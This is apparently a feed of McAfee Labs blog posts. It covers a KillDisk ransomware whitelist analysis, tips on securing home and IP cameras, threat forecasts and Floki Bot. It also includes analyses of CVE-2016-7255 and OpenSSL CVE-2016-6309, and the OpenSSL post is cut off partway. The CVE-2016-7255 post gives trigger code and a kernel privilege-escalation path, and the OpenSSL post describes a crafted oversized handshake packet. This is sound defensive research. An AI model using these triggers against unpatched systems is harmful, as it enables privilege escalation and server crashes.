Why are the child processes also terminated? It’s because of how the debugger creates its child processes. The debugger creates its child processes using specific creation flags related to debugging. The debugger uses the DEBUG_ONLY_THIS_PROCESS/DEBUG_PROCESS flag while calling the CreateProcess() API. Due to this flag, when the parent process gets terminated, the child processes die as well.

KillDisk’s whitelist consists of Windows and antimalware process names, including McAfee products.

Why are antimalware process names part of the malware’s whitelist? It may be because AV products generally use protection techniques so that other processes can’t kill their processes, and they may check on any process that wants to kill their processes. We think the malware author does not want to give the AV processes any indication of the malware’s existence.

The whitelisted process names:

smss.exe, csrss.exe, wininit.exe, services.exe, lsass.exe, lsm.exe, svchost.exe, winlogon.exe, explorer.exe, dwm.exe, wuauclt.exe,spoolss.exe, spoolsv.exe, taskhost.exe, conhost.exe, shutdown.exe, avp.exe, avpui.exe, ekrn.exe, egui.exe, mfemmc.exe, mfefire.exe, mfevtps.exe, pefservice.exe, mcsvhost.exe, msascui.exe, msmpeng.exe, mpcmdrun.exe

There is a typo in this list related to one McAfee process name. Our mfemms.exe is part of the McAfee Management service, but the malware looks for the process name mfemmc.exe.

Conclusion

KillDisk is new to the world of ransomware. It has implemented a whitelisting technique to protect itself, although it looks unstable because it kills all the other processes in the system. This malware has some coding bugs but can still badly harm its victims by encrypting files and demanding a huge ransom. This might be a beta version of this malware; we could see an updated version in the near future.

The second part of this post will contain our analysis of the malware’s other variants, along with some techniques including how to unlock the locked screen on an infected system (with a demo video).

McAfee products detect all known variants of this malware.

Thanks to Vikas Taneja for his valuable input.

 

The post Analyzing KillDisk Ransomware, Part 1: Whitelisting appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-killdisk-ransomware-part-1-whitelisting/feed/ 1
Top Tips for Securing Home Cameras https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/top-tips-for-securing-home-cameras/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/top-tips-for-securing-home-cameras/#respond Thu, 05 Jan 2017 02:22:55 +0000 https://securingtomorrow.mcafee.com/?p=67634 Installing a home surveillance camera system can add great benefits but also may introduce new risks to privacy and network security. The goal is to increase your security and peace of mind, while avoiding cybersecurity threats. Here are three tips to consider when purchasing, installing, and configuring your new home camera system. The risks Home […]

The post Top Tips for Securing Home Cameras appeared first on McAfee Blogs.

]]>
Installing a home surveillance camera system can add great benefits but also may introduce new risks to privacy and network security. The goal is to increase your security and peace of mind, while avoiding cybersecurity threats. Here are three tips to consider when purchasing, installing, and configuring your new home camera system.

The risks

Home Internet-connected cameras are targets for cybercriminals. Recently a number of large Internet of Things (IoT) attacks have occurred during which hackers have compromised hundreds of thousands of devices and enlisted them in massive botnets. These collections of ordinary devices, such as IP cameras, digital video recorders, and home routers, are directed by bot herders to send network traffic to a targeted destination. The massive flow of data overwhelms the target site and makes it unavailable. A recent attack against DYN, an Internet DNS lookup service, took out much of the east coast access to Twitter, Spotify, Netflix, Amazon, Tumblr, Reddit, PayPal, and other sites in the United States. Hacking home devices has become a powerful tool for cybercriminals. That home camera you are considering could add to the problem and even be used by hackers to spy on you!

videocameras

Most attacks are not incredibly sophisticated. They can be traced to insecurely designed products, absent patches, and poor installation configurations. Security does not need to be difficult or time consuming, but it does require forethought and care.

Top 3 recommendations for securing home cameras:

Choose the vendor wisely. It all starts with choice. If privacy and security are important to you, they should be part of your purchase criteria. Not all home camera vendors are equal. Look for ones that work hard to maintain your privacy and security. How can you tell? Go to their web pages and look beyond their marketing advertisements, as everyone will splash the word secure everywhere. The question you must consider is whether they take security seriously and deliver. See if they publish security updates, have a security team, and offer detail about how they secure their products and services.

No product is safe indefinitely, especially in the IoT world. What matters is the level of commitment companies place on keeping their products secure for customers. It is highly desirable if they produce security patches and explain what vulnerabilities they find. Transparency is a sign of trust. For your part, you must be sure to patch and keep products up to date.

Many companies do not bother with a security team. It is a red flag if the vendor is without such expertise. This oversight means they are not likely to design robust security features, do not have people looking at vulnerabilities, are not developing patches, and are not verifying security in updates.

Those with a security team should openly discuss the controls designed into the product, testing criteria, certifications, and what bugs they have found. Professionals work hard and want to build trust with their customers. I like companies who also have bug bounty programs that reward white-hat hackers who find vulnerabilities and bring them to the attention of the company. Having the hacker community helping make your products more secure is a good thing.

The first and most important step is yours. You must select a trustworthy partner to supply the camera, software, and any additional services. Look at comments in reviews, from owners, and by security professionals who test these cameras. Choose wisely and you will be rewarded.

Set up in nonsensitive areas. Cameras are great ways to watch over your home. But at some time even the best products can be compromised. Therefore, placement is hugely important. Entries, common areas, and watching over babies are great places to set up cameras. Bedrooms, changing rooms, bathrooms, and other private areas are not optimal. Many modern cameras have microphones and other sensors. So even in common areas, you might want to consider what you are saying. Home cameras are tailored for easy setup and minimal fuss when dealing with data. Most work with cloud services that store data and make it accessible to you anywhere on most devices. This is a great feature, but it also means the recordings are not directly under your control—another place for hackers to target. So consider what data you want in the cloud. You do not want embarrassing or private clips to appear online. Where you set up cameras will determine how uncomfortable such situations could become.

Change default passwords. Home cameras come with a number of default settings to facilitate easy setup. Most do not need to be modified, but you must change the default password! Create a unique and strong password that you use nowhere else. Store it somewhere safe. Worst case, if you forget it, you can typically reset it on the camera itself. Many of the current variants of IoT botnets target the vast number of devices that still have default passwords, which are published on the Internet, thus granting attackers full access to cameras. Some vendors are now forcing users to change the password upon installation, but many still do not. Don’t be an easy target. Be smart and change the default password; it makes a big difference.

Home cameras are great. They provide a new sense of security and flexibility for our modern lives. But you must balance those benefits with the accompanying risks. By following a few steps, you will increase your control and make yourself a less attractive target. Enjoy your new camera with the confidence of security and privacy.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Top Tips for Securing Home Cameras appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/top-tips-for-securing-home-cameras/feed/ 0
Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/#respond Fri, 30 Dec 2016 00:19:30 +0000 https://securingtomorrow.mcafee.com/?p=67521 This blog was written by Stanley Zhu. The Windows kernel privilege escalation vulnerability CVE-2016-7255 has received a lot of media attention. On November’s Patch Tuesday, Microsoft released a fix for this vulnerability as part of bulletin MS16-135. CVE-2016-7255 was used to perform a targeted attack and a sample was found in the wild, according to […]

The post Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 appeared first on McAfee Blogs.

]]>
This blog was written by Stanley Zhu.

The Windows kernel privilege escalation vulnerability CVE-2016-7255 has received a lot of media attention. On November’s Patch Tuesday, Microsoft released a fix for this vulnerability as part of bulletin MS16-135. CVE-2016-7255 was used to perform a targeted attack and a sample was found in the wild, according to Microsoft. Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability (CVE-2016-7855) along with this kernel privilege escalation flaw to perform a targeted attack. Google has also discussed this vulnerability.

The vulnerability research team at McAfee Labs has spent a significant amount of time analyzing this vulnerability. In this post we will briefly discuss some of our findings.

We started our analysis with the patch of MS16-135, and very soon we noticed that MS16-135 updated win32k.sys on the target system. Our investigation continued with the comparison (via binary diffing) of the two win32k.sys files (before and after installing the patch). Our test system ran Windows 7 Version 6.1.7601.23584.

Looking at the binary diffing results, we noticed the following functions were modified.

2016-12-29-cve-2016-7255-1

Figure 1: The changed function xxxNextWindow in win32k.sys.

After some preliminary investigation we concluded the patch for CVE-2016-7255 was applied solely in the function xxxNextWindow in win32k.sys.

The following screenshot shows a very high-level overview of the changes made to xxxNextWindow(x,x):

2016-12-29-cve-2016-7255-2

Figure 2: High-level diffing results in the function xxxNextWindow.

We can see some new logic has been added (highlighted in red) to the middle of the patched function. Zooming into the first newly inserted basic block, we can see that the newly introduced code compares the value of eax+0x23.

2016-12-29-cve-2016-7255-3

Figure 3: The first inserted basic block in xxxNextWindow.

We see similar logic in next newly inserted basic block.

2016-12-29-cve-2016-7255-4

Figure 4: The second inserted basic block in xxxNextWindow.

Google has stated the vulnerability “can be triggered via the win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD.”

In fact, NtSetWindowLongPtr only helps trigger this vulnerability, while the root cause lies in xxxNextWindow. More specifically, the inappropriate parameters set by NtSetWindowLongPtr can trigger an “arbitrary address write” scenario in xxxNextWindow.

Now let’s take a look at the decompiled version of the unpatched xxxNextWindow(x,x…).

2016-12-29-cve-2016-7255-5

Figure 5: The decompiled version of the unpatched xxxNextWindow.

After the patch is applied, xxxNextWindow (x,x…) looks like this:

2016-12-29-cve-2016-7255-6

Figure 6: The decompiled version of the patched xxxNextWindow.

The code after the patch has enhanced the parameter verification with the conditional branch statement “(*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40.”

In this new statement, variable v8 (in eax) is the return value of a previous GetNextQueueWindow call. (See following figure.)

2016-12-29-cve-2016-7255-7

Figure 7: Variable v8 comes from a call to GetNextQueueWindow: “v8 = _GetNextQueueWindow(v7, v31, 1);”

A quick look at the implementation of _GetNextQueueWindow(x,x,x,…) reveals that the function actually returns a pointer to the tagWND structure.

The following screen shows the tagWND structure in windbg:

2016-12-29-cve-2016-7255-8

Figure 8: The structure of tagWND.

Analyzing this code, we know the field at offset 0x78 in the tagWND structure is relevant to the vulnerability. The following lines of decompiled code from the unpatched function illustrate that the field at offset 0x78 is relevant to the vulnerability:

2016-12-29-cve-2016-7255-9

Figure 9: Problematic code in the unpatched xxxNextWindow.

Now the problem becomes simple: If we can control the value at v8+0x78, we will be able to write to an arbitrary address in kernel land, and this could potentially allow the elevation of privilege. Luckily, a user-mode API (NtSetWindowLongPtr) is available to set an arbitrary value in that position.

The following screen shot shows that the value (0x41414141) we passed to NtSetWindowLongPtr is reflected in the tagWND structure, making it easy to gain an arbitrary memory write through this vulnerability.

2016-12-29-cve-2016-7255-10

Figure 10: An arbitrary value is set in the tagWnd structure.

To to trigger the vulnerability, the WS_CHILD attribute of the newly created window must be assigned, and the GWLP_ID attribute must be set with the help of the API NtSetWindowLongPtr(). Moreover, the last hurdle is to trigger xxxNextWindow. After some research, we found we can trigger it by pressing a combination of Alt+Tab keys or simulating the key press with the keybd_event API.

Now that we understand the root cause of this vulnerability from the high level, let’s try reproducing the vulnerability. We will create a simple window and populate some values in its tagWND structure.

HWND hwnd = CreateWindowEx(0, L”TestWnd”, 0, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 5, 5, 1, 1, hWndParent, 0/*hMenu */, h, 0);

SetWindowLongPtr(hwnd, GWLP_ID,/*0xfffffff4=GWLP_ID*/ 0x41414141);

2016-12-29-cve-2016-7255-11

Figure 11: Debugging the vulnerable function xxxNextWindow.

The preceding screenshot shows the live debugging output. Here the ebx register is holding the pointer to the tagWND structure, and a write violation will occur very soon. As you can see in the following figure, the destination of the offending instruction is just the address (adding 0x14) that we previously passed in via the NtSetWindowLongPtr API, and this perfectly illustrates an arbitrary address write attack.

2016-12-29-cve-2016-7255-12

Figure 12: Scenario for an arbitrary address write attack.

Let’s return to Microsoft’s patch, which starts by checking the value at offset 0x23 of the tagWND structure. In the patched code, we can see the newly introduced statement

(*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40

When it comes to the patched version of the function, ebx points to the tagWND of the structure ebx + 0x23 = 0x54;

0x54 & 0xc0 = 0x40 ;(1)  ,  0x40 != 0x40 (2) ;

Now this statement becomes false. Therefore, the program skips the following code lines that attempt to modify memory, and avoids the program crash (the write access violation).

*(_DWORD *)(*(_DWORD *)(v30 + 0x78) + 0x14) &= 0xFFFFFFFB;

*(_DWORD *)(*(_DWORD *)(v8 + 0x78) + 0x14) |= 4u;

How can this vulnerability be exploited to achieve a privilege escalation? Instead of allowing the writing of an arbitrary value to an arbitrary address, this vulnerability can change only one bit; that is, the value on the address will be logically OR-ed with 0x04 (or its multiples) as shown below:

Value = Value | 0x04;

Value = Value | 0x0400;

Value = Value | 0x040000

Value = Value | 0x04000000

In this case, if the attacker can find a certain array of objects in kernel land and enlarge the index of the objects array (such as tagWnd->cbWndExtra) with this logical OR primitive to cause an out-of-bound access, the attacker will be able to gain arbitrary address read/write ability from user mode (by using some user mode APIs). We currently know some exploitation skills of this kind, such as GetBitmapbits/SetBitmapbits (first discovered by KeenTeam) or SetWindowText/GetWindowText.

 

Today, privilege escalation using a kernel mode vulnerability is still the primary vector to break application sandboxes (Internet Explorer’s EPM or Edge’s AppContainer). This path has been well demonstrated by most successful in-the-wild exploits targeting Internet Explorer/Edge/Adobe Reader and Flash that we have seen. Against current versions of Windows, with multilayer defenses, escaping the sandbox with a kernel escalation of privilege is still the attacker’s first choice. KeUsermodeCallback used to be a very popular type of Windows kernel mode vulnerability that can lead to kernel mode code execution, as we saw in CVE-2014-4113 and CVE-2015-0057. Microsoft’s work on addressing kernel vulnerabilities and adding more mitigation security features has led to a decline in this type of attack. In response, attackers have begun to look into kernel font and GDI vulnerabilities. Windows 10 has already restricted win32k calls in Edge, which significantly reduces the attack surface. And Microsoft has also fixed the kernel memory information disclosure issue that leverages the GDI-shared handle table. No doubt, kernel exploitation will become more and more difficult. However, we foresee that attackers will still use win32k as the main attack surface to exploit the kernel to achieve code execution or elevation of privilege. The battle will continue around this hot spot for both attackers and defenders. 

I thank my colleagues Bing Sun and Debasish Mandal for their help with this post.

The post Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/feed/ 0
Next Targets for Cybercriminals: the Long Term (Part 2) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/next-targets-for-cybercriminals-the-long-term-part-2/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/next-targets-for-cybercriminals-the-long-term-part-2/#respond Tue, 27 Dec 2016 08:10:44 +0000 https://securingtomorrow.mcafee.com/?p=66807 In the previous post in this series, I outlined how cybercriminals will use the holiday season to victimize unwary consumers and target businesses. They will also dive deeper into leveraging devices connected to the Internet of Things (IoT). The long-term outlook expands their reach to more bold and potentially more lucrative pastures. Rise of blockchain […]

The post Next Targets for Cybercriminals: the Long Term (Part 2) appeared first on McAfee Blogs.

]]>
bizsecurity

In the previous post in this series, I outlined how cybercriminals will use the holiday season to victimize unwary consumers and target businesses. They will also dive deeper into leveraging devices connected to the Internet of Things (IoT). The long-term outlook expands their reach to more bold and potentially more lucrative pastures.

blockchain

Rise of blockchain

During the next year, blockchains are poised to take on the world of finance, commerce, health care, and potentially government services—in which transactions must have a permanent record and can be seen by the masses. Originally started as the backbone for the emergence of cryptocurrencies like Bitcoin, blockchains can be used for so much more. Imagine purchasing items and having a permanent record of your investments. Land titles in parts of the world where governments come and go with frequency will persist even after a regime change, as they are part of an unalterable distributed public record. Stock trading by individuals could happen at lightning speed, not requiring an account at one of the big trading houses to process your order and take a fee. Your entire personal medical profile and records may be encrypted, but available to any doctor at a moment’s notice if you need them to be. Blockchains will likely be important in India, where government bank and spending accounts for each citizen could be protected from fraud and quickly process transactions.

The benefits are huge, motivating organizations to adopt the technology, which is already being explored in several sectors such as finance, commerce, digital contracts, and health care. Once embraced, blockchains will control and protect a mind-boggling amount of resources and power, guaranteeing they will be targeted by thieves, fraudsters, organized criminals, hacktivists, and even nation-states. This is where the true test of technology will be tempered. Like encryption before it, the math is solid, but we’ll see the vulnerabilities in implementations. Adopters will feel growing pains, as not all blockchains will be equal when it comes to cybersecurity. The attackers will hunt the weakest in the herd for easy and profitable meals.

socialmedia

Social media rules our attention

The attention market has changed so much over the past few generations. Newspapers and magazines gave way to radio, then television, the Internet, and now social media platforms. There is massive value in capturing people’s attention. It shapes our perceptions of justice, tempts us with purchases, cajoles us into trust, fuels the fame of celebrities, and is the lens we see the world through. It is powerful on so many levels, which it is why it will be targeted by all manner of digital threats.

Cyber threats recognize that social media is now seen as a tool to shift public sentiment. Expect terrorists, hacktivists, and nation-states to explore various exploits to support their objectives. The first battles will be around the ability to promote content, appear atop search results, shutter opposing views, and hack accounts of influential people. I also expect more campaigns to embarrass individuals and expose their private online activities. This will be done for profit and control, as well as for amusement.

Ransomware

Ransomware will continue to bring in tremendous amounts of money for cybercriminals. The number of ransomware engines will likely decrease, but the overall impact will go up. Like any software, every generation gets better and adds more features, which drives consolidation to the very best vendors. This trend will also play out with ransomware. Very soon, just a handful of engines will dominate the field. The result will be a greater overall impact as the best tools expand to target businesses, which are more lucrative when it comes to the extortion. Unfortunately, ransomware and extortion is a long-term problem.

Stressful holidays and New Year

Criminals, like the rest of us, enjoy having extra money to spend during the holidays. Expect more malicious activity during this end-of-year season, especially for those who are careless in their trust, as well as a sharp rise in fraudulent e-commerce, credit/debit card fraud, and identity thefts. Ransomware will expand from a mostly consumer scourge to also impact businesses for a much greater payoff. Social media will be both a target of attackers as well as an emotional sounding board on which we can express our discontent. Long-term attacks of a more strategic nature will test early blockchain implementations and explore ways to monetize pathetically weak IoT devices. Banks, ATMs, global financial transactions, and cryptocurrency will continue to be targeted for the foreseeable future, with ever bigger and bolder schemes.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Next Targets for Cybercriminals: the Long Term (Part 2) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/next-targets-for-cybercriminals-the-long-term-part-2/feed/ 0
Next Targets for Cybercriminals: the Short Term (Part 1) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/next-targets-cybercriminals-short-term-part-1/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/next-targets-cybercriminals-short-term-part-1/#respond Sun, 25 Dec 2016 08:50:13 +0000 https://securingtomorrow.mcafee.com/?p=66803   Knowing what cybercriminals are targeting today is easy. Their attacks are loud, impactful, and have the elegance of a herd of bulls crashing through a china shop. The tougher challenge is figuring out where they will take aim tomorrow. Knowing where cyber threats will arise gives us the necessary insights to remain one step […]

The post Next Targets for Cybercriminals: the Short Term (Part 1) appeared first on McAfee Blogs.

]]>
future_sign

 

Knowing what cybercriminals are targeting today is easy. Their attacks are loud, impactful, and have the elegance of a herd of bulls crashing through a china shop. The tougher challenge is figuring out where they will take aim tomorrow. Knowing where cyber threats will arise gives us the necessary insights to remain one step ahead of their mayhem.

In the short term

The current focus is on lucrative e-commerce: online shopping, email ransomware, phishing for credentials, and infection by holiday-lurking malware. It is also a time for dark markets to thrive, selling unmentionables to those looking for illegal items for the holiday celebrations.

We must all expect malware-ridden holiday sale emails and websites. Look for the fake shipping invoice or an urgent message from some merchant. All bogus. Shady e-commerce sites, advertising insane deals as bait, aim to harvest credit card accounts, emails, and maybe convince you to install some “helpful” software. Phishing increases this time of year: Look for a new wave of ransomware to hold family pictures, personal files, and entire systems for extortion. Identity theft will add to the rise of new credit card applications for unauthorized shopping. In the next couple of months, all of these financially motivated threats will increase, so now is a time to be on your guard.

bizsecurity

Businesses beware

Businesses must worry about the increased amount of e-commerce fraud, ransomware that extorts money to unlock important files, and the ever-present risk of data breaches. Health care, retail, and financial sectors will be targeted the most, but all businesses are in jeopardy. Social media will be targeted as a springboard to reach more potential victims and influence them to download or visit sites containing malware. Some large companies that rely heavily on web traffic will suffer distributed denial of service (DDoS) extortion attempts. “Pay or be unavailable to your customers” is the threat. As always, cash is king and credit is queen. More ATM attacks are in our future. Europe will be the hotbed, given its machine density and proximity to current thieving bands who are becoming more proficient at these attacks. The United States will suffer from more credit card and debit card fraud, some in stores, but more shifting toward online sites as the chip-on-card initiative forces thieves to adapt.

Exploiting IoT devices

Hacking home devices connected to the Internet of Things (IoT) is easy for botnet herders looking to amass an army to conduct DDoS attacks. But there is little money in merely attacking. Some will adjust to provide “protection” extortion schemes. Others will move into using those simple devices to create social media accounts that can “follow” or “like” en masse for a fee. Early signs are already present as buying followers/likes is lucrative business in the ego markets of social media.

Looking down the road a bit, we will actually see fewer random attacks against IoT devices. Two factors will be at play. First, IoT device manufacturers and consumers will shift to close today’s basic weakness: the use of default passwords. The second change will occur when professional hackers, likely organized criminals and nation-states, take over the market with more professional hacking capabilities. They tend to not play nice with others. Upon compromising an IoT device, they will immediately close the vulnerability so they are not displaced by another hacker. This ensures they will keep control of their victims.

We will see more creative ways for attackers to monetize this resource by coupling with ransomware, DDoS attacks, data leakage, creation of mass accounts to facilitate fraud, and perhaps even creating specialty routing networks to obfuscate traffic. The result will be more devices exploited, but in a more organized manner, until such time as the IoT industry becomes much more secure overall.

In a subsequent post, I will look into the long-term targets of cybercriminals. There are many opportunities that could reap big payouts. They are a greedy lot and I expect them to make bold moves.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity

The post Next Targets for Cybercriminals: the Short Term (Part 1) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/next-targets-cybercriminals-short-term-part-1/feed/ 0
Floki Bot a Sensation With International Cybercriminals https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/floki-bot-a-sensation-with-international-cybercriminals/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/floki-bot-a-sensation-with-international-cybercriminals/#comments Fri, 23 Dec 2016 08:04:28 +0000 https://securingtomorrow.mcafee.com/?p=67000 Floki Bot, new financial malware, is popular with English-, Portuguese-, and Russian-speaking underground criminal markets, winning over cybercriminals with new features and functionality. It is currently in use by a number of cybercrime groups around the world and is sold on the dark market for about US$1,000, according to Flashpoint and Cisco Talos. Improvements abound […]

The post Floki Bot a Sensation With International Cybercriminals appeared first on McAfee Blogs.

]]>
malwaredna

Floki Bot, new financial malware, is popular with English-, Portuguese-, and Russian-speaking underground criminal markets, winning over cybercriminals with new features and functionality. It is currently in use by a number of cybercrime groups around the world and is sold on the dark market for about US$1,000, according to Flashpoint and Cisco Talos.

Improvements abound

Floki Bot is a great example of the evolutionary release-reuse tactics of hackers. Based upon the venerable Zeus Trojan Version 2.0.8.9, which was released many years ago, this new bot variant sports many technologies to bypass detection and eradication by security tools. It has an updated engine to avoid Deep Packet Inspection, a cybersecurity method used to detect malicious software; and the extensibility to use The Onion Router (TOR) network for masking network traffic sources. Floki Bot uses a number of obfuscation techniques to hide its sensitive code. The bot also sports advanced methods to capture data from one of its primary targets, point-of-sale devices. Overall, the malware keeps many Zeus tricks while adding upgrades to stay current with the latest security controls and tactics.

Alternate engineering

Based upon communication traffic analysis, it appears that several parties, possibly with different languages, might have contributed to the creation of this malware. As hackers do often collaborate, the result brings together a capable new malware to the stage. This cooperation is becoming more common, with various experts working together to develop the next generation of malware.

In some cases, the sharing is not intentional. There are several examples of nation-states that have conducted cyberattacks as other parties intercepted their well-developed code, only to reverse engineer it and use the parts they found interesting in their own projects. This is the way of next-generation malware authors. They do not need to know everything themselves; they can leverage a community for assistance and reuse the best parts of other code for maximum effect.

nationstatemalware

Protections must adapt

If Floki Bot is any indication of the evolution of malware, we should expect faster cycles of release for more virulent code and methods. Teamwork will increase as groups work together to monetize efforts and fleece victims in more efficient and creative ways. The cybersecurity industry is fighting not only the malicious technology, but also the people who are innovating and collaborating to undermine our security and privacy.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Floki Bot a Sensation With International Cybercriminals appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/floki-bot-a-sensation-with-international-cybercriminals/feed/ 2
Did You Forget to Patch Your IP Camera? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/forget-patch-ip-camera/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/forget-patch-ip-camera/#respond Wed, 21 Dec 2016 08:25:49 +0000 https://securingtomorrow.mcafee.com/?p=67151 IP cameras are usually “purchase, install, and don’t touch” devices. But in the current climate of cyberattacks, they now require regular updates and patches. Otherwise your security tool may be hacked, leak video, or join a cybercriminal botnet without your knowing. IP cameras are targets Like all Internet-connected devices, IP cameras are at risk of […]

The post Did You Forget to Patch Your IP Camera? appeared first on McAfee Blogs.

]]>
security_cam_650

IP cameras are usually “purchase, install, and don’t touch” devices. But in the current climate of cyberattacks, they now require regular updates and patches. Otherwise your security tool may be hacked, leak video, or join a cybercriminal botnet without your knowing.

IP cameras are targets

Like all Internet-connected devices, IP cameras are at risk of attack from online threats. Recent attacks have shown just how easy it is to hack hundreds of thousands of cameras, TVs, routers, and DVRs. Manufacturers are working to remediate the known weaknesses by providing patches. But in most cases, the upgrades require the owners to take action.

Sony recently released new firmware for 80 models of its IP cameras, to improve their resistance against cyberattacks. They are not alone, as many of the biggest manufacturers of IP cameras, including Siemens and Foscam, have issued a variety of updates in the past year. Manufacturers that release patches are doing a service for their customers. Internet of Things (IoT) devices require continual updates as threats in cyberspace adapt. Our technology must also keep pace or fall victim.

We are all affected

All IP camera owners must understand their roles and responsibilities. It is up to owners to keep their IoT devices patched, including the computers and phones connecting to them. Having our devices compromised can impact our security, safety, and privacy. It can also impact others. A recent attack brought down much of the east coast of the United States when a major domain name service was attacked by tens of thousands of hacked IoT devices, including IP cameras. Such outages, fueled by IoT botnets, are becoming more common. By patching systems, we can protect ourselves and the larger Internet community.

Get patching!

Determine the manufacturer and model number of your camera. Visit the manufacturer’s website and look for updates and firmware patches. Follow the installation instructions carefully! If you connect via applications from your phone or PC, also make sure you have the latest software.

We are all digitally connected and all have a responsibility to do no harm to our collective communication resource, the Internet. Patch and stay current. We all thank you.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Did You Forget to Patch Your IP Camera? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/forget-patch-ip-camera/feed/ 0
How to Protect Against OpenSSL 1.1.0a Vulnerability CVE-2016-6309 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/how-to-protect-against-openssl-1-1-0a-vulnerability-cve-2016-6309/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/how-to-protect-against-openssl-1-1-0a-vulnerability-cve-2016-6309/#respond Tue, 13 Dec 2016 01:54:37 +0000 https://securingtomorrow.mcafee.com/?p=66891 This blog post was written by Rock Liu. Recently the OpenSSL security library gained a fix for a critical security issue (CVE-2016-6309) that affects OpenSSL Version 1.1.0a. The remote attackers can cause the OpenSSL server to crash, or execute arbitrary code on it, by simply sending a handshake packet with a message larger than 16KB. […]

The post How to Protect Against OpenSSL 1.1.0a Vulnerability CVE-2016-6309 appeared first on McAfee Blogs.

]]>
This blog post was written by Rock Liu.

Recently the OpenSSL security library gained a fix for a critical security issue (CVE-2016-6309) that affects OpenSSL Version 1.1.0a. The remote attackers can cause the OpenSSL server to crash, or execute arbitrary code on it, by simply sending a handshake packet with a message larger than 16KB. To defend against these attacks we analyzed the code, wrote a proof of concept, and prepared a signature for our customers.

OpenSSL offers the following description:

“The buffer to receive messages is initialized to 16KB. If a message is received that is larger than that, then the buffer is ‘realloc’d.’ This can cause the location of the underlying buffer to change. Anything that is referring to the old location will be referring to free’d data.”

From the OpenSSL source code, we know it uses the structure “ssl_st” to store the SSL session information. Both init_msg and init_buf are members of the structure of ssl_st. Init_msg points to the handshake message body, which is contained in the buffer pointed to by init_buf. The variable “s” (s->init_msg) is a pointer to the structure of ssl_st.

From this information, we suspect a single handshake message might trigger this vulnerability.

This is the format of a handshake packet in the TLS protocol:

———+———–+———–+———–+———–+——————————

| 0x16 | 0x0301 | 0x4000 | 0x0100 | 0x5560 | DATA(length=0x5560) |

———+———–+————+———–+———–+——————————

|       |       |               |————–Length of challenge

|       |       |

|       |       |—————————————-Length handshake message

|       |—————————————————–Version

|——————————————————————Content type:Handshake

 

We manually constructed a handshake packet of more than 16KB (0x5560).

2016-12-07-openssl-vuln-2016-6309-1

Figure 1: The TLS handshake packet.

We sent the oversized handshake to a vulnerable OpenSSL server, and it crashed.

 

2016-12-07-openssl-2b

Figure 2: Crash information from the vulnerable OpenSSL server.

Now for more details. First, let’s take a look at how the issue was fixed. The patch is available here.

if (!SSL_IS_DTLS(s)

&& s->s3->tmp.message_size > 0

–                    && !BUF_MEM_grow_clean(s->init_buf,

–                                           (int)s->s3->tmp.message_size

–                                           + SSL3_HM_HEADER_LENGTH)) {

+                    && !grow_init_buf(s, s->s3->tmp.message_size

+                                         + SSL3_HM_HEADER_LENGTH)) {

ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_INTERNAL_ERROR);

SSLerr(SSL_F_READ_STATE_MACHINE, ERR_R_BUF_LIB);

return SUB_STATE_ERROR;

The lines preceded by “-” are the old code, while the “+” lines are the patch. The patch introduced a new function, grow_init_buf, to replace the function BUF_MEM_grow_clean. This new function handles the chores of buffer reallocation to make sure the buffer is big enough to hold the handshake message.

Now let’s check out the new function: grow_init_buf:

static int grow_init_buf(SSL *s, size_t size) {

size_t msg_offset = (char *)s->init_msg – s->init_buf->data;

if (!BUF_MEM_grow_clean(s->init_buf, (int)size))

return 0;

if (size < msg_offset)

return 0;

s->init_msg = s->init_buf->data + msg_offset;   <——————reset the init_msg

return 1;

}

This newly introduced function internally will still call the old function BUF_MEM_grow_clean; after that it resets the init_msg (marked above).

Next, let’s look into this piece of vulnerable code with a debugger.

2016-12-07-openssl-3b

Figure 3: The unpatched code before the control flow reaches the function BUF_MEM_grow_clean.

Figure 3 gives us the following status information:

  • s->init_msg=0x6c3184
  • s->init_buf.data=0x6c3180
  • length=0x4000 and is controllable by the attacker through the handshake message

